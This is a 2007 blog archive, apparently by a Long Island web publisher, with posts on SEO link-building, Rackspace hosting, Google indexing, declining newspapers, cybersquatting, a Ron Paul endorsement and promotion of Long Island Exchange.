Now this 20 page website has just about all it's pages indexed in Google. I have began placing ads on other web sites to this new website and over the course of about 2 months, it is starting to appear for some vague searches and is getting some natural traffic. The interesting part about this is that the pages that seem to be coming up most often both happen to be directly linked to from old established sites fitting that exact topic.

So basically:

Using the above example, pages 3 and 4 are performing much better than all the rest. For me, this clearly proves that inbound links from authority topic related pages will count much more than how many links you have overall. This is an example of why gaining links to your website is a science, and not monkey work.
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Why You Should Drop Everything and Move To Rackspace Managed Hosting

2007-09-07T08:07:00.000-07:00

That's right! I honestly believe that if you’re hosting your web sites anywhere else, you should drop everything right now and find out more about Rackspace. Here's why:

Web hosting is an essential part of your online business. Your web hosting solution can be one of the most important decisions you make when putting together a plan for how your business will run. If you’re operating primarily online, then your hosting provider is the foundation of your entire business. If your machine goes done, so does business operation. That's why web hosting is as important as the employees you hire. But many will shop around for the cheapest host they can find, not realizing how catastrophic a decision this really is.

Web hosting is one of those things that should never be measured first and foremost by price. The cost of your web hosting solution must be secondary to a high level of customer support.

Before I hosted my online businesses with Rackspace, a good portion of my dayhad to be attributed to what was happening on my machines. Moving my network of sites to Rackspace has eliminated an entire process of responsibility ensuring that I can concentrate more on running my business and less on my hosting situation - a lot less.

Now, Rackspace takes care of my server needs and security worries.

No more late nights migrating sites from one inferior host to another.
No more hours of business consumed by server performance issues.
No more hours of submitting tickets and dealing with email only support.

Rackspace is the Set It and Forget It Web Hosting Solution.I honestly have never had such a worry free hosting provider.

In fact, I'm so happy with the service provided by Rackspace, that we have requested to send our current hosting business and all new clientele to Rackspace through our new partnership agreement.

If you are interested in finding out how Rackspace can improve your business as well as getting DISCOUNTED SERVICES through our relationship with Rackspace, click here for more information.

If your ready to just take my word for it and are ready to get a quote right now, click here.

Topping The Charts in 40 Minutes or Less

2007-08-28T05:47:00.000-07:00

Google has been updating their search results almost immediately with new information making fresh news easier to find. Not long ago if you were seeking news or information just made public on internet web sites or television you needed to search with Google News to find it, but this is no longer the case. Google is now updating their results with whatever they find from trusted sources almost immediately.

This is another huge innovation and breakthrough from Google which clearly sets them apart from MSN and Yahoo!

The Google News product launched in September of 2002, offering access to 4,500 leading news sources from around the world. Headlines and photos are automatically selected and arranged by a computer program which updates the page continuously. The free service lets users scan, search, and browse, with links from each headline to the original story. But the vast majority of people don't know to use Google News or what exactly the differences are between the news product and the search engine. Having everything included in Google search and accessible immediately will continue to keep Google as important as the internet itself.

This is a tremendous change from the days when you needed to wait days, weeks, or even a month to find a new page in the Google search engine. In those past times Google would update its search index several weeks apart and publishers would scramble to see what pages were included in the latest update and which did not make it in time. Now, publishers can expect to see their news appear almost immediately, accessible to the entire world, pushing news and information to the public eye, as it is created.

Remarkable!

Desperate Times Call For Desperate Measures

2007-08-26T17:49:00.000-07:00

Newspapers continue to feel the crunch, as internet becomes the main business.

As print newspapers continue to get thinner each passing day, online news readership and advertising revenues continue to sour. Despite the fact that many people are already complaining that the print newspapers are containing less news and information - they are also expressing that the newspapers are filled with old stories already circulated in mass proportion on the internet.

Take a look at this story on the front page of Newsday's Money and Careers section. Aside from the fact that the story itself is based on the internet, the real kicker is, I read this exact story five days ago pictures and all - online. The story is already old news. If it takes this long to get a story in the print edition, why even print it to begin with.

Here is one of the many stories on this topic published 5 days ago.

On another note, if you look closely, you'll notice that there are peel off advertisements on each front cover. In my opinion, this is a signal that advertisers are loosing interest in being inside the paper. They want to own a piece of the front cover, or it's no go, and the newspaper companies are getting desperate selling the space to a peel off sticker. What's happening here? I've never noticed these peel-off stickers on front pages before. Do advertisers believe readers are no longer reading the inside?

What looms now "is different from all other threats," says Lauren Rich Fine, a Merrill Lynch & Co. analyst who has covered the industry since the 1980s. Consumers are shifting decisively to online information, says Fine, especially the young, and are no longer hooked to the local newspaper. "Ads are following the eyeballs to where they make transactional decisions." Fine recently forecast that newspapers' profit margins are set to enter a long period of decline.

In my mind one thing is clear. You can not look to the print newspapers for what you expected to in recent years. The classifieds sections are thinner than ever as well as seriously less effective, the stories are yesterday's news, and the advertisements are getting larger and more obtrusive than ever.

Why Reciprocal Links Don't Work:

2007-08-26T07:55:00.000-07:00

Links to your website are very important. The more links you have pointing to your website, the more important a search engine assumes your site is. A search engine can read - but it cannot comprehend. It can only consider how many other people like your site and use that to prioritize you. It's like anything else in life. If you know a guy and he has only one friend, he may or may not be a nice guy. On the other hand, if you know a guy that has twenty five friends, chances are, this guy is a really nice guy.

Basically, you would assume a guy having twenty five friends can be trusted a lot more then a guy having only one. Well a search engine assumes that a site with a lot of links must be a good one.

There is one exception to this (search engine algorithm) rule.

Reciprocal Links
Reciprocal links are not classified the same. A reciprocal link is when a website links to another website only to return the favor (link exchange).

Example: Reciprocal Link:

WEBSITE A links to WEBSITE B, and then to return the favor WEBSITE B links to WEBSITE A. That is considered a reciprocal link exchange. This will get you nowhere in the long run. Search engines know that this is a link exchange and attempt to boost traffic and link popularity.
Example: Quality Link:
WEBSITE A has an article about "widgets" and links to WEBSITE B (widgets.com) on merit. Widgets.com contains details and valuable information about widgets.WEBSITE B (widgets.com) doesn't link back. WEBSITE A's link to WEBSITE B is a quality outbound link.WEBSITE B's link from WEBSITE A is a quality inbound link.

Search engines love quality links. They will send you to the information that it thinks your looking for, and just incase it's not enough, the search engine knows that there is a quality link there that will provide you with more info.

If your swapping links with web sites that are related to yours and your not buried on some links exchange page with a million links, reciprocals can still help for traffic. But don't count on them to increase your search engine rankings, because the search engines won't be counting them either.

Where Does Long Island New York Go On The Web?

2007-08-07T10:49:00.000-07:00

Have you ever wondered where Long Islanders go to grab news and information for their daily lives? Today, both teens and adults are quickly resorting to the internet to find the information they need. Television, radio, newspapers, and magazines are still key decision makers, but the Internet is quickly becoming the preferred method.

Below are the top online news destinations and web sites specifically serving Long Island New York ranked by popularity and traffic via http://www.alexa.com/ as well as Yahoo's Popular site list within each Long Island category and is acurate as of 8/07/07

If you are a Long Island resident looking for news and information, or a business owner looking to advertise locally online, these web sites are a great place to get started.

Newsday.com 4,976 Percentile

The voice of Long Island, NY, and America's 6th-largest regional newspaper.

newsday.com

News 12 81,908 Percentile

Providing regional news for Long Island, New Jersey, Westchester and Connecticut.

news12.com

Long Island Exchange 156,208 Percentile

Local directory with news, classifieds, chat and more.

liexchange.com

Hamptons Online 173,133 Percentile

Internet service provider serving East End and North Fork.

hamptons.com

Long Island.Com 184,394 Percentile

Web presence and directory services.

longisland.com

Long Island Press 278,397 Percentile

Free alternative newsweekly serving Long Island.

longislandpress.com

Long Island's Anton News 427,277 Percentile

Covers news, sports, opinion and events in the local communities of Long Island.

antonnews.com

WBLI 106.1 434,176 Percentile

Playing contemporary hit music.

wbli.com

Long Island Business News 606,082 Percentile

Source for business news on Long Island via a weekly business journal.

libn.com

WBAB 102.3 828,920 Percentile

Long Island's home of Rock and Roll

wbab.com

This independant news and media list is brought to you by LongIslandExchange.com - The Guide to Everything That Is Long Island. If you're a publisher and wish to use this information, please note your source.

Register Your Domain Name Before It Is Too Late!

2007-07-28T08:09:00.000-07:00

Often when people start to get popular or otherwise make a name for themselves, other people will register their domain name (The .com version of a persons actual name) and hold it hostage.... Than, one day when you're ready to do something with the name, you find out that someone else has it. I like to call these people "Domain Hoarders" but there are many names for them. All derogatory nouns usually fit pretty well.

Although the Anti-Cybersquatting Consumer Protection Act (ACPA) was introduced in 1999, cybersquatting remains an underestimated threat. The number of .com domain names alone has doubled since 2003, and the number of cybersquatting disputes being filed with the World Intellectual Property Organization (WIPO) is on the rise -- up 25% in 2006 from 2005. According to a recent independent report, cybersquatting increased by 248% in the past year.

This "domain hoarding" for a personal first and last name happened to a good friend of mine just after he published his first book. The author, who I won't mention here, tried to register his domain name in the form of firstnamelastname.com and to his surprise the name had already been registered. He then typed into his web browser his firstnamelastname.com and was redirected to a domain name purchasing web site. And the holders of this particular domain name were real bullies - they even owned his firstnamelastname.net too - Imagine that!

I remember he contacted them with hopes of buying the domain name, and they were demanding a hefty amount of cash for it; an amount he couldn't easily afford to pay and he eventually just gave up on it. This happens mainly with celebrities, but sometimes, just the average person who makes a name for themselves, especially authors as they are mostly known for their actual name rather than the book they have written.

If you have not yet searched your names availability, be careful when you do because the story gets even worse. Believe it or not, there is a serious belief that domain hoarders sometimes look at records of names that are being searched for at the registrars, and if they are not registered, they register them before YOU get a chance to. This happens mostly if you just check the names availability and not register it. The domain hoarders know someone wants the name or is planning to use it soon and they are likely to go back and try to buy it at a later date, so the domain hoarders register it. Sounds crazy - but it happens. Don’t ask me how they get these records – cause I am really not sure, but there is an amazing amount of software out there, and domaining is big business, and not every domain registrar can be completely trusted.

According to a WebProNews Article, it’s called Domain Sniffing

“I had a really great domain name idea, which was available when I searched through the registrar, but then five minutes later when I went to buy the name it was gone.”

Anyone who has been in domaining for more than a month has heard dozens of versions of that same story. Although not everyone buys that domain sniffing actually exists, there is mounting evidence that domain sniffing exists in some form or another.

To own your domain name it would only cost you about $7.00 per year, and I think $7.00 is worth the piece of mind of knowing that if you decide to use your domain name one day, that you'll have it....

There are currently many laws being discussed that would prevent people from holding domain names for future use who have no reasonable reason to keep a domain name. As of right now, as far as I know, it’s a loose topic, with very few restrictions.

If you would like to check the availability of your name, you can do so at Searchen Networks: http://domains.searchen.com/ - but remember, if you do a search for it, and it is available, you should buy it right there.

This is just some food for thought. I went over this with a good friend recently and wanted to get it out there for other people to know about. There is a lack of this type of information available and people really should know more about it. Always best to be thinking way ahead.

Got a domain related question or topic you would like to discuss? Visit our Domain Name Forum and through it out there in a community for the domain name industry.

Long Island New York, Meet: Ron Paul

2007-07-16T13:21:00.000-07:00

Ronald Paul is a 10th-term Congressman from Lake Jackson, Texas, a member of the Republican Party, a physician, and a candidate for the 2008 presidential election. He has represented Texas's 14th congressional district in the U.S. House of Representatives since 1997 and represented Texas's 22nd district in 1976 and from 1979 to 1985. He earned the nickname "Dr. No" because he is a medical doctor who votes against any bill he believes violates the Constitution. On March 12, 2007, Paul announced his candidacy for the 2008 presidential election seeking the nomination of the Republican Party.

Congressman Ron Paul is the leading advocate for freedom in our nation's capital. A recent segment on Ron Paul revealed that the Congressman and presidential candidate gets more Google search hits than Paris Hilton or the iPhone, yet my wife who avidly reads the newpaper daily and keeps up on current news did not recognize his name when I mentioned him. More people need to find out about Ron Paul and what he represents.

Paul's runaway popularity is growing every day and his chances of beating the other frontrunners are realistic, despite the fact that his mission and presence is often muffled by traditional media.

Brief Overview of Congressman Paul’s Record:

He has never voted to raise taxes.
He has never voted for an unbalanced budget.
He has never voted for a federal restriction on gun ownership.
He has never voted to raise congressional pay.
He has never taken a government-paid junket.
He has never voted to increase the power of the executive branch.
He voted against the Patriot Act.
He voted against regulating the Internet.
He voted against the Iraq war.
He does not participate in the lucrative congressional pension program.
He returns a portion of his annual congressional office budget to the U.S. treasury every year.

Congressman Paul introduces numerous pieces of substantive legislation each year, probably more than any single member of Congress.

Click Here: Long Island New York, Meet: Ron Paul

Long Island Exchange - Long Island's Number 1 Online Destination!

2007-06-30T13:51:00.000-07:00

Long Island Exchange is a well-balanced and carefully constructed website that offers readers informative and relevant information - including news updated every hour, entertainment, games, homes for sale, weather, a vast business directory, travel, hotel bookings, sports, educational and cultural activities, an interactive user base, full color classifieds, and a whole lot more. It is by far the largest privately owned web site targeted at Long Island New York and is quickly becoming what it professes to be: "The Guide to Everything That Is Long Island."

Dedicated to being a regional news information center that also covers the world, this title easily serves as a learning tool to its ever-expanding massive readership audience. Sharply written feature articles and insightful analysis have helped this media publication to become a balanced and provocative search engine to hundreds of thousands of folks who click away several million times per month.

With several customized "added value" features, this free online website has broad appeal for the decision makers who sponsor ads within this site. Without question, Long Island Exchange is fun and extends its efforts towards offering hundreds of puzzles, games, and even sudoku online. Providing 24 hour news updates - business, health, science, political, local, world and national - as well as top stories and featured paid-for articles, this title is a winner!

The hands-on, experienced management team of this locally owned and operated website is involved with its every step. It's a resource guide for everyone and provides a competitive edge to all advertisers who turn to it to market their services and products. Clearly, this title is a dominant news and informational product.

Today, the website which has already won 5 awards, and trademarked title are acknowledged to be one of the most informative and credible of its kind with thousands of locals clicking to it religiously.

Long Island Exchange Inc. has strong ties to the community as an active member of the Long Island Association, the Lindenhurst Chamber of Commerce, the Long Island Press Club, and the Long Island Advertising Club and gives back and provides yearly contributions to the Lindenhurst Breast Cancer Foundation and the Toys of Hope Children’s Charity keeping charity dollars on Long Island.

www.longislandexchange.com